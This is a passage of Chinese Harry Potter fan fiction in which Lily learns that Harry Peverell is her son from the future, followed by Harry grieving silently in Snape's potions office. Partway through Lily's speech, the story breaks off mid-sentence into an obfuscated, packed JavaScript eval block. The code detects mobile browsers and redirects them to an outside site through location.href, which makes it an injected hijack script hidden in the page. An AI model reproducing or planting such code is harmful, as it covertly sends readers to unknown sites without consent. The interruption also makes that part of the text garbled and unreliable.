房间里突然安静下来。隔壁传来黛西轻微的咕哝声,像是在梦中不安地动了动。 “尖头叉子……”小天狼星的怒气消退了,随之而来的是深深的无力感。 “说真的,我没想到你会这么想,我一直以为你还在怪那孩子。”他苦笑着走近一步,“可是,尖头叉子,你以前不是这样的。你还记得我们第一次参加凤凰社活动,出发前你对我说了什么吗?” 詹姆斯疲惫地看了他一眼。 “‘大脚板,我他梅林的怕死了,但不做点什么更可怕’。” 他轻叹一声:“那个明明怕死还在向前冲的詹姆斯·波特,现在却被自己的愧疚困住了。” “你不明白!”詹姆斯突然爆发,“我每晚都在做噩梦,梦见哈利问我为什么没救他!然后我醒来,看见黛西……我就会想,如果她也……” 他说不下去了,整个人都在发抖。 小天狼星沉默了很久,然后伸手搭在詹姆斯肩上:“我知道很难,詹姆斯。但你有没有想过——也许哈利也在等?” “他就在楼下,离你只有几步路。为什么不试着迈出第一步?哪怕只是……看着他的眼睛,真正地看一次。” “还有,莉莉迟早会知道。今天这状况,她不可能没察觉。她是我们中最聪明的一个。到时候你怎么办?继续用那些蹩脚的谎言糊弄她?还是告诉她实话——你因为害怕,把自己的亲生儿子拒之门外?” 詹姆斯的脸色更白了。他摇着头,语气中透着绝望的执拗:“我做不到。” “詹姆斯——” “我说我做不到!”他猛地抬头,痛苦地喘息,”我没办法对着另一个哈利笑,当我的哈利已经——”他的声音卡在喉咙里,“在我怀里闭上了眼睛。” 詹姆斯说不下去了,他滑下墙壁,跌坐到地板上,双手捂住脸。房间里陷入漫长的沉默,只有楼下隐约传来的说话声,提醒着他,生活还在继续,而他却困在过去的阴影里。 许久,詹姆斯才用几乎听不见的声音说:“我不知道该怎么办,小天狼星。我真的不知道。” —————— 莉莉坐在起居室的沙发上,嘴上应和着卢平和哈利的闲聊,但目光却频频飘向楼梯口。楼上偶尔传来的模糊声音让她皱起眉头——詹姆斯和小天狼星到底在上面做什么?安顿一个婴儿需要这么长时间吗?她甚至隐约听到了几声听起来像是争执的声音。 “莉莉?”卢平轻声叫了她一下,显然察觉到了她的心不在焉,“怎么了?” “没什么,”莉莉摇摇头,努力让语气听起来轻松,“只是觉得他们上去得有点久了。” 泰迪坐在哈利和卢平中间,敏锐地察觉到了气氛的异样。他抬头瞥了眼楼梯,又扭头望向哈利,小声问道:“波特先生和小天狼星怎么还没下来?黛西睡着了吗?” “应该是的。”哈利耐心地回答,“小婴儿需要很多睡眠。” 但莉莉心里那股不安的感觉越来越强烈。她站起身,想要上去看看,“也许我应该上去看看,万一黛西……” “莉莉,”卢平温和地制止了她,“詹姆斯和小天狼星会处理好的。黛西很安全。” 莉莉重新坐下,心中的疑团却越来越大。 终于,楼上传来了脚步声。詹姆斯和小天狼星一前一后地走下楼梯,但两人的脸色都不太好看。詹姆斯的眼睛明显有些红肿,小天狼星则是一脸的心事重重。 “黛西睡着了,”詹姆斯对莉莉说,“应该能睡一会儿。” 莉莉仔细观察着丈夫的脸色,她太了解詹姆斯了,不管是他强装出来的镇定,还是那种刻意回避的眼神,都让她心中的疑虑更重。她的目光移向小天狼星,又落在沉默的哈利身上。他自两人下楼后一言不发,低头摆弄着袍子边角。 屋里的人都在努力装作没事,可每个人都知道些什么,除了她。这种被排除在外的滋味不好受,但现在不是追问的时候。她还有一件重要的事要办。 “莱姆斯,”莉莉清了清嗓子,转向卢平,“我们之前就和你提过的,想让你做黛西的教父。” 这话一出,屋里的人都愣了愣。卢平眨了眨眼,下意识地看了一眼身旁的泰迪,又望向莉莉,神情中流露出一丝迟疑。 “莉莉,这……真是我的荣幸。”他的话语带着细微的颤抖,“但你确定吗?我是说,考虑到我的……状况……” “我们相信你,莱姆斯。”莉莉坚定地说,“詹姆斯也同意。我们希望黛西能有你这样睿智又善良的教父。” 她站起身,走到卢平面前,郑重地开口,一字一句清晰无比:“莱姆斯·约翰·卢平,你愿意成为黛西·哈丽叶·波特的教父吗?” 泰迪听到这个邀请,脸上绽放出一个大大的笑容,扭头望向卢平,眼里满是期待。 卢平迎上那双亮晶晶的眼睛,喉头动了动。他也站起了身,看了詹姆斯一眼,郑重答道:“莉莉,这是我的荣幸。我愿意。我发誓会尽我所能保护她,引导她,成为她值得信赖的教父。” 这小小的仪式冲散了屋里的沉重。每个人都上来和莱姆斯握手表示祝贺,连詹姆斯脸上也浮现一抹真切的笑。 “好了,”莉莉拍了拍手,扬起笑脸,尽力让声音轻快起来,“我想我们都饿了。小天狼星家的厨房……说实话,我可不太放心。不如我来准备午餐吧?希望你们不会嫌弃我的厨艺。” “怎么会,”卢平立刻笑着接话,“莉莉你的厨艺可是最棒的。说实话,这几天我们都靠着哈利才没被小天狼星的糟糕厨艺给毒进圣芒戈。” 莉莉挑起眉毛,目光略显惊讶地落在哈利身上。 哈利只是扯了扯嘴角,露出一个有些勉强的笑容:“会一些简单的。。” “那正好,”莉莉冲着哈利微笑,“能帮我一起吗?我们可以一起准备。” 哈利迟疑了一瞬,还是点头站了起来:“当然,很乐意帮忙。” —————— 莉莉在厨房里忙碌起来,手指熟练地翻开橱柜,取出土豆、胡萝卜和洋葱,余光却始终留意着身旁的年轻人。让她惊讶的是,哈利对厨房的布局相当熟悉——他准确地从抽屉里找到了削皮刀,又从墙边的罐子里拣出胡椒粉和盐,甚至知道小天狼星把好酒藏在哪个不起眼的角落。 “你好像经常来这里?”她问,语气轻描淡写,手上利落地处理着土豆。 “嗯,最近来过几次。”哈利简短地回答,开始清洗蔬菜,似乎并不想在这个话题上多作停留。 莉莉注意到他娴熟自然的动作,这让她想起了什么,“你一直自己一个人照顾泰迪吗?” 哈利低着头专注地切着洋葱,“算是吧。不过泰迪是四岁后才跟我一起住的。” “一定很不容易,”莉莉柔声说道,“带孩子可不简单。” 哈利沉默了会儿,“习惯了就好。”他低声说,继续手上的动作。 莉莉点点头,没有再追问,转而换了个话题:“说起来,我们本来想邀请小天狼星去我们家过复活节的,但他推说要修房子,我还和詹姆斯打趣说他是不是交了新女朋友,所以才神神秘秘的。”她半开玩笑地看着哈利,“没想到他请了你们。” 哈利抬头,目光与她短暂相接。“前段时间我外出办事时受了点伤,恰好撞见他,他把我带到这里住了两天,就熟悉起来了。” “受伤?”莉莉立刻关切地问,“严重吗?现在好了吗?” “已经完全恢复了,”哈利避开她的目光,“就是点皮外伤。他见我和泰迪复活节没什么安排,就邀请我们来过节。” 他顿了顿,又补充道,“至于莱姆斯……斯内普最近正好研制出了一批改良版的狼毒药剂,我之前听小天狼星提起过莱姆斯的事,就想找机会让莱姆斯试试,恰好发现马上就是满月,所以就一起带了过来。效果很好,莱姆斯恢复得不错,小天狼星就提议让他也一起来过节。” “斯内普?”莉莉手中的水壶险些滑落,脸上满是惊讶,“西弗勒斯?他会研制狼毒药剂给莱姆斯?” 这完全出乎她的意料。她知道斯内普和“掠夺者”们的关系一向恶劣,实在难以想象他会主动帮助卢平。 “嗯,”哈利语气平静,“虽然过程有些曲折,但他确实做到了。而且药效非常好,莱姆斯这次满月几乎没有遭受太大的痛苦。” 莉莉沉默了片刻,消化着这个令人意外的消息。她和斯内普曾经是朋友,最好的朋友,直到那场争执—— 之后他们就形同陌路,再之后战争结束,他们之前虽然没有什么太多来往,但关系也不再那么紧绷。 而现在…… “那……我回去后一定要写封信好好感谢他。”她喃喃地说。 哈利看了她一眼,嘴唇动了动,最终只是点了点头:“我想他会高兴的。” —————— 餐桌摆好了,热气腾腾的菜肴散发着诱人香气。莉莉做了烤鸡、土豆泥和蔬菜汤,哈利则贡献了一道香草烤羊排。 “这个土豆泥真不错,莉莉。”卢平温和地说,“我太怀念这个味道了。” “谢谢。”莉莉微笑回应,但她的注意力并不在自己的厨艺上。她在观察——观察詹姆斯如何刻意避免与哈利有任何眼神交流,观察小天狼星如何坐立不安地切着盘子里的羊排,观察哈利如何礼貌地参与着谈话,却始终保持着一种若有若无的疏离感。 “哈利,下一个学期决斗俱乐部和协会的活动怎么安排?”小天狼星努力找着话题,“你知道的,我随时可以再去帮忙。看那些小家伙学决斗,我都觉得自己年轻了十岁。” “学期开始的那周周末有场正式比赛,正好是四月第二个周末。”哈利放下叉子,“五月份活动可能会减少,马上邻近考试了。” “如果你有空的话,”他看向小天狼星,嘴角露出一丝真诚的笑意,“可以来做评委。我敢保证,女生们会很期待的。” “哦,是的!”正在努力对付一块鸡肉的泰迪抬起头,满脸兴奋,“一直忘了告诉你,小天狼星!那次活动后,你可是成了霍格沃兹最有话题热度的人了!” 他咽下一口鸡肉,继续兴高采烈地说:“《八卦前哨站》收到的信里,有三分之一是向你告白的!可惜你没听到节目。还有三分之一是崇拜你和西弗那场精彩决斗的!最后三分之一嘛……是关于情人节——” “泰迪!”小天狼星猛地从椅子上弹了起来,挥舞着手,动作夸张地打断了他的话,“看在梅林的胡子份上,别再提那个该死的什么节了!还有我和那个鼻——” “咳咳!”哈利突然重重地咳了两声。 小天狼星瞄了他一眼,马上改口,“哼——和斯内普的决斗!那简直比被一百只打人柳追着打还丢脸!”他哀嚎一声,逗得卢平和泰迪笑出声。 莉莉注视着哈利和小天狼星之间那种自然而然的互动,心中那股异样的感觉又浮了上来。那种默契和亲近,完全不像只是刚熟悉没多久的朋友,可又不同于詹姆斯和小天狼星之间那种肆无忌惮的兄弟情谊,更像是—— 她甩开这些纷乱的念头,好奇地问:“决斗俱乐部和协会?小天狼星和西弗勒斯决斗?这是霍格沃兹的什么新活动吗?” “就是教学生一些决斗技巧,俱乐部是面向低年级学生的,泰迪他们参加的就是俱乐部活动,协会主要是组织高年级学生开展决斗比赛。因为一些情况,上个月初刚刚启动,小天狼星还来帮忙了。他和斯内普给学生演示了一场非常……高水准的决斗。”哈利笑着解释。 他说话时看着莉莉,那双绿眼睛专注得让她心头一颤。那眼神藏着什么,令她迫切想要了解,却又不敢轻易触碰。 “听着挺有趣,我们那会儿可没这活动。”她转向泰迪,男孩正埋头啃鸡腿,“泰迪肯定很喜欢吧?” “当然!”泰迪抬头,头发刷地变成金色,“每次活动大家都抢着去,谁都不想错过。我刚学会缴械咒和盔甲咒,赫敏都会阻碍咒了!” “你已经很厉害了,”哈利轻笑,“我在你这个年纪的时候,可不会这么多咒语。” “莉莉,这个羊排是你烤的吗?”詹姆斯忽然开口,口吻有些生硬,硬生生打断了哈利的话。 “什么?哦,不是,”莉莉回过神来,“是佩弗利尔教授做的。烤鸡和土豆泥是我负责的。” 詹姆斯飞快地瞥了哈利一眼,然后迅速移开视线,又垂下了头。 “哈利的厨艺很好,”泰迪又在一旁补充道,“他做的巧克力布丁是世界上最好吃的!对吧,莱姆斯叔叔?” 卢平点头,笑得温和:“确实,哈利很有一手。” “詹姆斯,还记得我住你家那年暑假吗?”小天狼星插话,试图活跃气氛,“半夜饿得溜进厨房,你试着煎蛋,弄了个喷火咒,差点把锅炸飞,你母亲追着我们骂了半小时。要有哈利这厨艺,我们就不用挨饿了。” 但詹姆斯只是敷衍地“嗯”了一声,继续机械地吃着盘子里的食物,完全没有接话的意思。 小天狼星尴尬地笑了笑,悻悻地闭上了嘴。 餐桌上的气氛又开始变得微妙。 “抱歉,”哈利轻声说道,放下餐具,“我去一下洗手间。” 几分钟后,他回来坐下。莉莉无意中瞥见他袖口有些湿——像是刚刚洗过手,或者……洗过脸? 哈利拿起餐巾,轻轻擦拭嘴角,然后像是忽然想起什么:“对了,说起决斗俱乐部,我刚想起来——弗立维教授昨天用猫头鹰给我寄了信,说要敲定下几场比赛的章程。” “他约了我明天碰个面。”他露出一个略带歉意的笑容,“很多内容需要在开学前敲定,否则就来不及了。我得先回去准备一下材料。” “明天?”小天狼星皱眉,“复活节假期也要工作?弗立维可真是个工作狂。” “你知道他对决斗的热情,”哈利轻笑了一声,“而且第一次正式比赛就在开学第二周,时间确实很紧。评分标准、安全防护、场地安排……这些都不能马虎。” 众人都理解地点头,只有泰迪瞬间从椅子上跳起来,脸上的笑容完全消失了,“哈利,你现在就要走吗?可我们不是说好了要待到假期结束……” 哈利的表情柔和下来。他站起身,走到泰迪身边,弯下腰与男孩平视:“泰迪,我很抱歉。但这真的很重要——” 男孩只是盯着他不说话。 “听我说,”哈利双手按住他肩膀,“你留在这儿玩,小天狼星和莱姆斯会陪着你的。这几天你们可以好好相处。”见泰迪还是一脸的沮丧,他将男孩拉进怀里,紧紧抱了一下,然后在男孩耳边低声说了些什么。 “我保证处理完就回来。”哈利松开泰迪,“就两天,好吗?” 泰迪咬着嘴唇,不情愿地点了点头。 哈利站起身,转向其他人:“泰迪就麻烦你们照顾了。” “放心吧,哈利,”小天狼星拍了拍他的肩膀,“我们会照顾好泰迪的。” 卢平也温和地说:“路上小心。有什么需要帮忙的,随时联系。” 最后,哈利的目光落在詹姆斯和莉莉身上。詹姆斯依然低着头,从刚才开始就没有任何反应。 “很高兴见到你们。”哈利脸上是标准的微笑,“波特夫人,午餐很美味。” 说完,他快步走向壁炉,抓起一把飞路粉。绿色的火焰腾起,吞没了他的身影。 —————— 哈利匆匆告别离开后,房间里的空气一下子冷了下来。午餐的残羹冷炙还摆在桌上,却再也没有人有心思去碰它们。众人默默地从餐厅回到了起居室,各自找了个位置坐下,谁也没有开口说话。 莉莉静静地看着他们,心中的怒火在慢慢积聚。她已经忍耐得够久了。 “莱姆斯,”她忽然开口,“能麻烦你带泰迪去花园里玩一会儿吗?我记得花园里的那些会跳舞的蘑菇很有趣,黛西应该也需要呼吸点新鲜空气了。” 卢平敏锐地察觉到了什么,眼神中带着担忧:“莉莉……” “拜托了,莱姆斯。”莉莉用不容商量的语气说,“我和詹姆斯、小天狼星有些事情要谈。” 小天狼星身子一颤,求助似的看向詹姆斯,但詹姆斯只是低着头,手指无意识地摩挲着沙发扶手,没有看他。 卢平看了看冷着脸的莉莉,又看了看面色不佳的詹姆斯和坐立不安的小天狼星,最终点了点头:“当然,莉莉。我去看看黛西醒了没有。泰迪,我们一起去吧?” 泰迪虽然有些不明所以,但还是乖乖地跟着卢平离开了。卢平临走前看了莉莉一眼,轻声说:“莉莉,无论发生什么,都别太激动。他们……都只是关心你。” 房门轻轻关上,起居室里只剩下各怀心思的三个人。 莉莉缓缓开口:“好了,现在就剩我们三个了。” 她的声音异常平静,但詹姆斯和小天狼星都听出了其中的危险。 “我想,你们是时候告诉我,今天这到底是怎么回事了。”莉莉走到詹姆斯对面的扶手椅上坐下,“我等了很久,詹姆斯。很久。” “莉莉……”詹姆斯的回应虚弱无力。 “别说话,詹姆斯,”莉莉打断他,“让我先说完。” “你知道我想问什么。可也许我需要说得更直白一些,哈利·佩弗利尔。”她清晰地吐出这个名字,注意到詹姆斯的肩膀因为这个名字而微微僵硬了一下。“你今天甚至没有和他打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156439|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个招呼,没和他好好说过话,没看他一眼。你之前不是这样的!我记得你以前非常欣赏这个年轻人,一直主动想要和他交好,不是吗?到底发生了什么,让你对他的态度转变如此之大?” 詹姆斯低着头,完全避开了莉莉的视线。 莉莉见詹姆斯不语,心中的怒火更盛,她努力克制着自己,转向小天狼星:“那我问你,小天狼星。你拒绝了我们的复活节邀请,谎称要修房子。但你却邀请了哈利·佩弗利尔教授和他的教子,甚至还有莱姆斯。你能给我一个合理的解释吗?” 小天狼星张了张嘴,一句话也说不出来。 “而且,”莉莉继续说道,眼神越来越冷,“泰迪为什么会叫莱姆斯‘爸爸’?莱姆斯什么时候瞒着我们所有人,有了一个这么大的儿子,而我们这些做朋友的,竟然一无所知?别告诉我我听错了,小天狼星。我的耳朵很好。” 这次连詹姆斯都抬起了头,震惊地看向小天狼星——他显然不知还有这么回事。 小天狼星额头上开始冒汗:“莉莉,那可能是……飞路网有时候会让人头晕耳鸣……” “别把我当傻子,小天狼星·布莱克!”莉莉声音骤高,压抑已久的怒火终于爆发,“你们以为我什么都不知道吗?以为我是个只会在家里带孩子的家庭主妇吗?” 她站了起来,在房间里来回走,每步都带着怒气:“我知道你们在瞒着我什么!那天晚上你突然来我们家,你和詹姆斯在书房里用冥想盆。我听到了!我清清楚楚地听到你们在谈论‘另一个哈利’和‘德思礼家’!” 詹姆斯和小天狼星脸色煞白。 “还有!”莉莉愤怒地转向詹姆斯,眼中充满了失望:“两个月前的那个晚上,你半夜匆匆忙忙地赶到这里,带着治疗药剂,直到天亮才回家。你以为我没注意到你那时候的脸色有多难看吗?” 她深吸一口气,努力控制自己的情绪:“我没有追问,是因为我相信你会告诉我。我在等你准备好。但是你呢?你!小天狼星!还有莱姆斯!你们三个什么都知道,却合起伙来瞒着我,把我当成什么了?一个什么都不懂、需要被你们小心翼翼保护起来的傻瓜吗?” 詹姆斯眼中痛苦翻涌:“莉莉,我……” “你想说什么?”莉莉声音发颤,“你要告诉我这都是为了我好?说你是在保护我?詹姆斯·波特,我是你的妻子!我有权知道这一切!” 她走到詹姆斯面前,盯着他的眼睛:“所以,请你行行好,告诉我,你们口中的‘另一个哈利’,是不是就是哈利·佩弗利尔?他和我们死去的儿子,到底有什么关系?” 詹姆斯迎上她的目光,知道再也没有退路了。他的脸色苍白得吓人,眼中布满了血丝,“对不起,莉莉……”他声音破碎,“我会告诉你,所有的一切。” 他喘息着,像用尽全身力气挤出每一个字:“哈利·佩弗利尔……不,他的名字其实是哈利·詹姆斯·波特。他是……我们的儿子。从未来……回来的哈利。” 那一刻,莉莉的世界仿佛静止了。 她愣在原地,愤怒在脸上凝固,随即化作震惊,又坠入不敢置信的深渊。她设想过无数可能——阴谋、误会,甚至背叛——但“从未来回来的儿子”这答案荒谬得超乎想象。 “什……什么?”她终于找回自己的声音,但那声音细若游丝,“我们的……哈利?从未来……?” “是的,”小天狼星见詹姆斯已经说不下去了,接过话来,“通过时间旅行。他和泰迪一起,从未来回到了这里。” 莉莉的腿一软,几乎站立不稳。小天狼星赶紧上前扶住她,将她引到沙发上坐下。 “这不可能……”她喃喃道,“时间旅行……未来的儿子……”她忽然想起了什么,急切地看向小天狼星,“那泰迪……难道他是……” “他是莱姆斯的儿子,”小天狼星艰难地开口,“莱姆斯和尼法朵拉·唐克斯的儿子。在另一个时间线里,他们在战争中牺牲了。是哈利一直在照顾泰迪。” 莉莉闭上眼睛,世界在她脑海中天旋地转。小天狼星对哈利的关切、泰迪对莱姆斯的依恋、哈利望向他们时隐忍的眼神——一切豁然开朗,却又让她坠入更深的迷雾。 詹姆斯看着她摇摇欲坠的样子,话语里满是痛苦和愧疚:“莉莉,我本来想等……等黛西出生后,再找机会告诉你。你那时候那么伤心,又怀着黛西,我怕万一跟你说了这些,你会承受不住……” “告诉我全部。”莉莉打断他,声音出奇地冷静,“我要知道所有事。” 接下来的时间里,莉莉觉得自己在做一个永远醒不来的噩梦。 詹姆斯断断续续地讲述着所有的真相——活点地图暴露的身份,那些记忆里的画面,那个关于哈利与伏地魔的预言。 当他说完后,莉莉已经泪流满面。 “我只是太害怕了,莉莉。”詹姆斯说话时透着深深的疲惫,“我们的儿子……我们的哈利走了,却又来了个未来的他。还有那预言……梅林啊,我不知道怎么开口……” 可是莉莉已经有些听不进去了,或者说,她的思绪已经完全被那个残酷的真相和那个更残酷的预言所占据。眼泪如决堤般涌出,她捂住嘴,不让自己哭出声来,但身体却因为巨大的悲痛而控制不住地颤抖。 那是她的儿子。她的哈利,长大了,从一个她无法想象的未来回到了这里。 而詹姆斯一直在逃避他。 她猛地睁开眼睛,怒视着詹姆斯:“你明知道——你早就知道他是我们的儿子,却一直在回避他?” 詹姆斯的脸色苍白如纸:“莉莉,我……我做不到……” “你做不到什么?”莉莉气得话都在打颤,“你做不到接受自己活着的儿子?你做不到面对一个需要父亲关爱的孩子?” “他不是我们的哈利!”詹姆斯吼道,“我们的哈利死了!就死在我的怀里!你让我怎么再去面对另一个他?” 莉莉愣住了,然后她的眼中燃起了更加愤怒的火焰。 “詹姆斯·波特,”她的声音冷得像冰,“你真让我失望。” “你在怪他,是不是,詹姆斯?”她逼问,“你觉得是因为他的到来,才让我们的哈利……对吗?” 詹姆斯张了张嘴,想要辩解,却最终只是颓然地低下了头。 “你把一个无辜孩子的死推到另一个无辜孩子身上!”莉莉的语调尖锐起来,“你觉得这样就能减轻你的痛苦吗?就能掩饰你自己的软弱和无能为力吗?” 小天狼星见状,脸色也白了几分,他急忙站起来,语无伦次地解释道:“莉莉,你冷静点!詹姆斯他没有这么想!他只是太痛苦了!哈利的死对他打击太大了,他需要时间……而且,哈利……我是说未来的哈利……他也很理解,他从来没有怪过詹姆斯……” 莉莉抬手制止了小天狼星,“不要替他辩解,小天狼星。” 她怒视着詹姆斯,“你知道你在伤害谁吗?你的儿子!你在惩罚一个需要父亲关爱的孩子!你在用你的冷漠和逃避来伤害他!你的勇气呢?格兰芬多的勇气去哪里了?你就是个懦夫!” “莉莉,你不明白……”詹姆斯哽咽,泪水滑落,“我一看到他,就想起……” “想起什么?”莉莉尖锐地质问,“想起我们失去了什么?还是我们的痛苦?那他呢?你想过他的感受吗?” 她的眼中不断涌出泪水:“他也失去了!他失去了他的时代,他的朋友,他的一切!他还在一岁时就失去我们了!失去了他的父母!他独自承受着我们无法想象的重担,而你——本该给他依靠的父亲,却在逃避!” 詹姆斯痛苦地捂住脸:“我做不到,莉莉……我真的不知道该怎么办……” “我来做!”莉莉大声说道,泪水顺着脸颊流下,“既然你做不到,那我来做!” 詹姆斯像是被抽走了所有力气,整个人都垮了下来,他用双手捂住了脸,压抑的呜咽声从指缝间溢出,肩膀剧烈地颤抖着,什么话也说不出来了,只是一味痛哭着。 莉莉看到詹姆斯蜷缩在沙发上,像个被遗弃的孩子一样无助地哭泣,心里泛起尖锐的疼痛。但一想到哈利那双绿眼睛,想起他触碰黛西时那份温柔,想起他在餐桌上的拘谨与落寞……强烈的怜惜和心痛吞没了她的整个灵魂。 在这一刻,她从未如此清醒地意识到,她的哈利——活着,带着不为人知的苦难,他现在就在这里,他需要她。她要保护他,就像她会不惜一切代价保护黛西一样。 “够了,”她突然站起身,“够了!” 她望向詹姆斯:“他是我的儿子,詹姆斯!他的来历、那个预言,甚至是时间旅行,都改变不了他是我的儿子这个事实!你可以继续沉浸在你的痛苦里,但我不会!” “莉莉——” “我要去找他,”她擦掉泪水,“现在就去。他得知道,他还有母亲,还有人爱他。” “等等,”小天狼星拦住她,“莉莉,冷静一点。你就这么离开,黛西怎么办?而且这件事很复杂,不能让太多人知道。你也得给哈利一点心理准备,他以为你不知道——我们找个时间,等过两天哈利回来,我来安排!好吗?” “我不在乎!”莉莉推开他,“我的儿子在外面,孤独痛苦,觉得自己不被需要。而你们还要我冷静?” 她转向詹姆斯,眼中既有失望也有最后一丝希望:“詹姆斯·波特,你好好想想。想想你到底要做一个什么样的父亲,想想你的勇气都去哪里了。” 詹姆斯抬起泪眼,低声哀求:“莉莉,别……” 她冷冷回应:“不,你别。” 说完,她深深地看了詹姆斯一眼,然后转身向门口走去。 “你去哪儿?”小天狼星追问。 “去找莱姆斯和泰迪,”莉莉头也不回,“我要知道更多关于我儿子的事。然后……我要想办法让他知道,不管发生什么,他都有一个爱他的母亲。” 102. 地窖一夜 斯内普正在专注地处理一批新送到的魔药材料。他手持银质小勺,小心翼翼地翻动着碗中细腻的粉末。这是龙角粉末,来自罗马尼亚长角龙,由博金·博克的猫头鹰刚刚送来。 “品质尚可。”他微微眯起眼睛,“但比不上去年诺特弄来的那批。” 他转身走向办公室深处的储藏柜,黑袍拖过冰冷的石板地。柜上的每个抽屉都施有严密的保护咒,有些甚至需要特定的口令才能开启。底层存放着各种毒液——八眼巨蛛的、秘鲁毒牙龙的,全都密封在水晶瓶中,瓶身上贴着斯内普亲手写的标签。中间几层是稀有植物:月光草的根茎浸在银色药水中,黑色睡莲裹在避光黑布里。最上层防护最严,存放着魔法部严格管制的珍贵材料。 将龙角粉存入指定抽屉后,斯内普回到实验台,继续中断的魔药研究。两个坩埚悬浮在火焰上咕嘟作响。左边那个散发着淡金色光芒,甜香若有若无地飘散在空气中;右边的呈现不稳定的土黄色,间或发出嘶嘶声。 他最近在尝试优化福灵药剂的配方——这种“幸运液体”通常需要六个月才能酿制成功,但他相信,通过调整关键步骤和材料配比,可以将时间缩短到四个月,同时保持甚至增强其效力。 实验笔记本摊开在工作台上,上面密密麻麻地记录着各种实验的详细过程: “第12次实验:独角兽血增加至三滴,顺时针搅拌七圈,再逆时针两圈。失败。药剂变成了灰绿色,魔法性质彻底紊乱。” “第13次实验:以火龙蛋清替代火蜥蜴卵。有趣的反应。药剂稳定性略有改善,但药效预计降低了百分之二十左右。” “第14次实验:怀疑问题关键在于搅拌的圈数和节奏。参考古代魔药大师阿森尼斯·吉格的理论……” 突然,左边的坩埚发出一声轻响,药水从淡金色转为明亮的琥珀色。斯内普眼中闪过一丝兴奋——这是前所未见的现象。他迅速调整火焰,同时在笔记上飞快记录,连药液表面的气泡破裂频率都不放过。 记录完最后一个细节,他抬起头,视线不经意地掠过房间的另一端。 哈利·佩弗利尔已经坐在那里两个多小时了,沉默到几乎令人忘了他的存在。 斯内普的笔尖在羊皮纸上犹疑了一下。 两个小时前,他正准备开始新一轮实验,哈利却突然出现在魔药办公室门口。而这个人绝对不在斯内普的复活节日程安排里。说实话,任何节日对他而言都毫无意义,与平日没有任何区别。他如往常一般,将所有的时间都安排得满满当当。 因此,对于这位不速之客,他只是从鼻子里发出一声疑问的哼声。 他多少已经习惯了佩弗利尔时不时以各种借口“征用”他的办公室。复活节假期前,对方还美其名曰“监工”,硬是待在这里看他完成狼毒药剂的最后工序。虽然嘴上抱怨,但斯内普不得不承认,有人在旁陪伴,那些漫长的熬制过程似乎没那么难熬。 可今晚不同。哈利一进门,斯内普就察觉到了异样——那头乱发更加凌乱,眼眶泛红,整个人透着一股难以言喻的狼狈和压抑。 “佩弗利尔?你不是应该在布莱克的窝里享受你的——” 话说到一半,他看清了哈利的状态,讽刺的话语便咽了回去。 “嗨,西弗勒斯。”哈利挤出一个勉强的笑容,脸上的神情比哭还要难看,“复活节快乐。” 他沉默片刻,用一种带着恳求的语气轻声道:“我能在这待一会儿吗?只是一会儿。” 斯内普的第一反应是拒绝。他的地窖不是什么情感避难所,更不是给失意的格兰芬多提供安慰的地方。但那双布满血丝的绿眼睛和颓唐的模样让他犹豫了。 最终,他只是哼了一声,算是默许了。 哈利懂得这个信号,安静地走到办公室角落里那张熟悉的扶手椅旁坐下。斯内普原以为他会像往常一样,用些琐碎愚蠢的话题打断他的工作,或者干脆给他添点乱。然而,接下来的两个多小时,哈利就那么一言不发地坐在那里,只是茫然地盯着空气中某个虚无的点,整个人仿佛被抽去了灵魂,只剩下一副空洞的躯壳。 斯内普压下心头的不耐与烦躁,还有他绝对不肯承认的担忧。他不打算开口询问任何事。如果佩弗利尔想要倾诉,自然会主动开口,用他惯有的格兰芬多方式。他本想问问狼毒药剂的效果如何,毕竟那是他耗费心血的杰作。但瞧着佩弗利尔这副失魂落魄的样子,恐怕问了也是白问。 但他也不得不承认,这种死一般的沉默更加令他心烦意乱,仿佛从哈利身上散发出的无形压抑,正一点点渗入整个房间。他发现自己的视线总是不由自主地从坩埚移向那个微微佝偻的身影,连熬制药剂的节奏都乱了。 偏偏制作魔药需要绝对的专注与精准。斯内普正准备加入八眼巨蛛毒液——他向来能精准掌控每一滴的分量——可手却不争气地抖了一下。多余的半滴落入坩埚,药液瞬间爆出刺耳的响声,颜色从澄澈的琥珀色转为混浊的褐色。 他无声地咒骂了一句,将银质搅拌棒往桌上一扔,终于没忍住用危险的语调开口:“佩弗利尔,你打算在这里扮演一尊沉默的雕像到什么时候?还是你误以为我的办公室是专门用来接待情绪失控的访客的?如果你需要情感咨询,显然来错了地方。” 哈利被突如其来的尖锐言语惊醒了,猛地抬头看向斯内普。那双布满血丝的绿眼睛里,痛苦如此赤裸裸地展现,令斯内普一瞬间感到了一丝后悔。 见哈利只是盯着他继续沉默,没有开口的迹象,斯内普心中不禁一阵憋闷。他宁愿看到佩弗利尔跟往常一样上蹿下跳惹人厌烦,也不想面对这个死气沉沉的家伙。他索性不再理会,而是拿起切刀,开始处理一株辣根——这原本是明天才需要准备的材料。 可哈利却开了口,“我今天见到他们了,西弗勒斯。”他嘶哑着嗓子说,“詹姆斯和莉莉……他们突然来了,还带着他们的女儿,黛西。” 斯内普没有看哈利,手中的动作却明显慢了下来。他把每一个字都听得清清楚楚。 哈利开始断断续续地倾诉,似乎并不在意有没有人回应,只是想要把胸中的苦楚一股脑倾倒出来——波特夫妇带着他们刚出生的小女儿黛西造访了峡谷之屋。黛西长得像莉莉,却有着詹姆斯的棕色眼睛。莉莉对他礼貌却疏远地微笑,詹姆斯则全程回避,冷漠得像个陌生人,甚至在黛西伸手想靠近他时,粗暴地把她抱走。 “……他连看都不看我一眼,西弗勒斯。”哈利的声音低得几乎听不见,好似生怕大声说出来,会让那份痛苦变得更加难以忍受,“也不愿意跟我说一句话。整个上午,他都在刻意避开我。” 咔嚓。 斯内普切辣根的动作停顿了一下。 “还有黛西……她那么小。我原本很期待的,毕竟我从没拥有过真正的兄弟姐妹。”哈利的声音渐渐掺进了一丝苦涩,“她想让我抱她,可他直接把她抱走了,那个眼神……”哈利用手捂住脸,“就好像我会伤害她一样。” 